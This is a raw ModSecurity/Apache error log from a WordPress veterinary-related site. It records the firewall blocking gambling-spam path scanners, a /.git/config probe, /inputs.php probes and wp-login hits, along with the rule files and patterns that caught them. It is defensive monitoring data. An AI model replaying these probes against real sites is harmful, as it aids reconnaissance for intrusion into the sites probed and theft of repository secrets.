[Fri Mar 13 03:27:41.089314 2026] [:error] [pid 47894:tid 48014] [client 147.135.212.151:40324] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abMTrZiuFpRtVNR6uOKdXQAAAQw"]
[Fri Mar 13 03:27:43.830844 2026] [:error] [pid 47892:tid 47968] [client 147.135.212.151:40352] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "abMTrzNdN5Yd7YcKfyUYmgAAAFQ"]
[Fri Mar 13 03:27:46.882689 2026] [:error] [pid 56003:tid 56005] [client 147.135.212.151:40384] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "abMTshQtM0oeMdFWe6WdlAAAAMA"]
[Fri Mar 13 03:28:16.228786 2026] [:error] [pid 48029:tid 48054] [client 147.135.212.151:44664] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abMT0G7cFKMmtdGhPH_sDgAAABc"]
[Fri Mar 13 03:28:18.789945 2026] [:error] [pid 47894:tid 48008] [client 147.135.212.151:56734] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abMT0piuFpRtVNR6uOKdgAAAAQY"]
[Fri Mar 13 03:28:21.915599 2026] [:error] [pid 47893:tid 47978] [client 147.135.212.151:56746] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abMT1QYSdu6aqxO_Yuc7UQAAAIM"]
[Fri Mar 13 03:28:24.865839 2026] [:error] [pid 48029:tid 48031] [client 147.135.212.151:56774] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abMT2G7cFKMmtdGhPH_sGgAAAAA"]
[Fri Mar 13 03:28:43.302662 2026] [:error] [pid 57965:tid 57980] [client 147.135.212.151:49120] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "abMT66vfx70AiIiaN91bLAAAAAo"]
[Fri Mar 13 03:28:45.904785 2026] [:error] [pid 58054:tid 58057] [client 147.135.212.151:49146] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "abMT7UImTldlu7diDAH45QAAAME"]
[Fri Mar 13 03:28:48.815202 2026] [:error] [pid 57967:tid 58045] [client 147.135.212.151:55838] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "abMT8ENP73jifYocZl1kFgAAAJM"]
[Fri Mar 13 03:28:51.697330 2026] [:error] [pid 57967:tid 58028] [client 147.135.212.151:55862] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "abMT80NP73jifYocZl1kGQAAAIM"]
[Fri Mar 13 03:28:56.903410 2026] [:error] [pid 58184:tid 58191] [client 147.135.212.151:55880] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "abMT-B9na58mAF2V1VQ_BwAAAIQ"]
[Fri Mar 13 03:28:59.611314 2026] [:error] [pid 58273:tid 58279] [client 147.135.212.151:55130] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abMT-0V943Zoi-TjVbT43AAAAUQ"]
[Fri Mar 13 03:29:02.390529 2026] [:error] [pid 58184:tid 58192] [client 147.135.212.151:55136] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abMT_h9na58mAF2V1VQ_EwAAAIU"]
[Fri Mar 13 03:29:02.390792 2026] [:error] [pid 58184:tid 58192] [client 147.135.212.151:55136] [client 147.135.212.151] ModSecurity: Audit log: Failed to lock global mutex: Invalid argument [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abMT_h9na58mAF2V1VQ_EwAAAIU"]
[Fri Mar 13 03:29:02.390999 2026] [:error] [pid 58184:tid 58192] [client 147.135.212.151:55136] [client 147.135.212.151] ModSecurity: Audit log: Failed to unlock global mutex: Invalid argument [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abMT_h9na58mAF2V1VQ_EwAAAIU"]
[Fri Mar 13 03:29:05.792030 2026] [:error] [pid 58374:tid 58388] [client 147.135.212.151:55150] [client 147.135.212.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abMUATedrTQSUgac-tfTLgAAAAk"]
[Fri Mar 13 06:23:14.720461 2026] [:error] [pid 62036:tid 62065] [client 20.213.29.93:14544] [client 20.213.29.93] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "abM80rce6g9kILuh_R4IXgAAANY"]
[Fri Mar 13 06:23:14.829263 2026] [:error] [pid 55077:tid 55095] [client 20.213.29.93:11312] [client 20.213.29.93] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "abM80t9Ul5ym4M-PlQLy4AAAAVA"]
[Fri Mar 13 06:23:14.904830 2026] [:error] [pid 55077:tid 55100] [client 20.213.29.93:11318] [client 20.213.29.93] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "abM80t9Ul5ym4M-PlQLy4QAAAVU"]
[Fri Mar 13 06:23:14.972772 2026] [:error] [pid 61929:tid 62019] [client 20.213.29.93:17459] [client 20.213.29.93] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "abM80jGGsow2jgUjLtxhrAAAAI8"]
[Fri Mar 13 08:23:44.912633 2026] [:error] [pid 62036:tid 62058] [client 43.130.100.35:51494] [client 43.130.100.35] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abNZELce6g9kILuh_R4s6QAAAM8"]
[Fri Mar 13 08:40:00.420165 2026] [:error] [pid 55077:tid 55084] [client 34.82.4.253:46312] [client 34.82.4.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "abNc4N9Ul5ym4M-PlQIxFQAAAUU"]
[Fri Mar 13 08:44:47.670082 2026] [:error] [pid 55077:tid 55101] [client 49.7.227.204:44502] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abNd_99Ul5ym4M-PlQIziAAAAVY"]
[Fri Mar 13 09:50:28.781351 2026] [:error] [pid 44755:tid 44761] [client 173.239.214.57:48953] [client 173.239.214.57] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.214.57, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abNtZPONf1H0XrBFE4O3IgAAAQQ"]
[Fri Mar 13 11:19:06.364358 2026] [:error] [pid 9309:tid 9327] [client 43.173.1.69:39204] [client 43.173.1.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abOCKqo1KEMMghNWAN9s9AAAAgQ"]
[Fri Mar 13 12:37:15.114093 2026] [proxy_fcgi:error] [pid 9309:tid 9324] [client 103.4.122.14:58278] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Fri Mar 13 12:37:35.303340 2026] [proxy_fcgi:error] [pid 9311:tid 9360] [client 103.4.122.14:58328] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132'
[Fri Mar 13 12:37:47.396590 2026] [proxy_fcgi:error] [pid 9309:tid 9335] [client 103.4.122.14:58412] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Fri Mar 13 15:04:31.396040 2026] [:error] [pid 9311:tid 9372] [client 43.153.71.132:39842] [client 43.153.71.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abO2_1TiCkU4QLmYwPn6NQAAAlU"]
[Fri Mar 13 15:33:39.708571 2026] [:error] [pid 9241:tid 9253] [client 175.6.217.4:45621] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abO90w48xagB6AsXkJ75uAAAAcA"]
[Fri Mar 13 17:06:46.346808 2026] [:error] [pid 9309:tid 9335] [client 51.75.128.50:50438] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "abPTpqo1KEMMghNWAN8K5AAAAgw"]
[Fri Mar 13 17:06:48.731145 2026] [:error] [pid 55077:tid 55089] [client 51.75.128.50:60524] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "abPTqN9Ul5ym4M-PlQK_DwAAAUo"]
[Fri Mar 13 17:06:51.182957 2026] [:error] [pid 9311:tid 9371] [client 51.75.128.50:52672] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "abPTq1TiCkU4QLmYwPkVeAAAAlQ"]
[Fri Mar 13 17:06:53.717191 2026] [:error] [pid 61927:tid 61956] [client 51.75.128.50:52680] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "abPTrbLkK584eBa2J7X80wAAAAo"]
[Fri Mar 13 17:06:56.278128 2026] [:error] [pid 44755:tid 44778] [client 51.75.128.50:52690] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "abPTsPONf1H0XrBFE4NCeAAAARU"]
[Fri Mar 13 17:06:58.687068 2026] [:error] [pid 9311:tid 9366] [client 51.75.128.50:52702] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "abPTslTiCkU4QLmYwPkVfQAAAk8"]
[Fri Mar 13 17:07:01.107967 2026] [:error] [pid 9311:tid 9351] [client 51.75.128.50:44296] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abPTtVTiCkU4QLmYwPkVfgAAAkA"]
[Fri Mar 13 17:07:03.627496 2026] [:error] [pid 61927:tid 61952] [client 51.75.128.50:44306] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abPTt7LkK584eBa2J7X82AAAAAY"]
[Fri Mar 13 17:07:06.010400 2026] [:error] [pid 61928:tid 61978] [client 51.75.128.50:44312] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "abPTugod66AHekJJZiqQZwAAAEE"]
[Fri Mar 13 17:07:08.430943 2026] [:error] [pid 9309:tid 9331] [client 51.75.128.50:44328] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "abPTvKo1KEMMghNWAN8LAQAAAgg"]
[Fri Mar 13 17:07:10.983012 2026] [:error] [pid 9309:tid 9337] [client 51.75.128.50:53496] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "abPTvqo1KEMMghNWAN8LDQAAAg4"]
[Fri Mar 13 17:07:13.363878 2026] [:error] [pid 55077:tid 55098] [client 51.75.128.50:53504] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abPTwd9Ul5ym4M-PlQK_MAAAAVM"]
[Fri Mar 13 17:07:15.778745 2026] [:error] [pid 9311:tid 9356] [client 51.75.128.50:53512] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abPTw1TiCkU4QLmYwPkVjAAAAkU"]
[Fri Mar 13 17:07:18.131734 2026] [:error] [pid 55077:tid 55088] [client 51.75.128.50:53524] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "abPTxt9Ul5ym4M-PlQK_PgAAAUk"]
[Fri Mar 13 17:07:20.682076 2026] [:error] [pid 55077:tid 55094] [client 51.75.128.50:33572] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "abPTyN9Ul5ym4M-PlQK_QwAAAU8"]
[Fri Mar 13 17:07:23.064613 2026] [:error] [pid 44755:tid 44777] [client 51.75.128.50:33578] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "abPTy_ONf1H0XrBFE4NCiAAAARQ"]
[Fri Mar 13 17:07:25.459925 2026] [:error] [pid 55077:tid 55100] [client 51.75.128.50:33590] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "abPTzd9Ul5ym4M-PlQK_TgAAAVU"]
[Fri Mar 13 17:07:27.994975 2026] [:error] [pid 61928:tid 61982] [client 51.75.128.50:33596] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "abPTzwod66AHekJJZiqQcQAAAEU"]
[Fri Mar 13 17:07:30.389851 2026] [:error] [pid 44755:tid 44757] [client 51.75.128.50:60284] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "abPT0vONf1H0XrBFE4NCjgAAAQA"]
[Fri Mar 13 17:07:32.914766 2026] [:error] [pid 9311:tid 9370] [client 51.75.128.50:60298] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "abPT1FTiCkU4QLmYwPkVkQAAAlM"]
[Fri Mar 13 17:07:35.408288 2026] [:error] [pid 61929:tid 62004] [client 51.75.128.50:60304] [client 51.75.128.50] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "abPT1zGGsow2jgUjLtykwwAAAIA"]
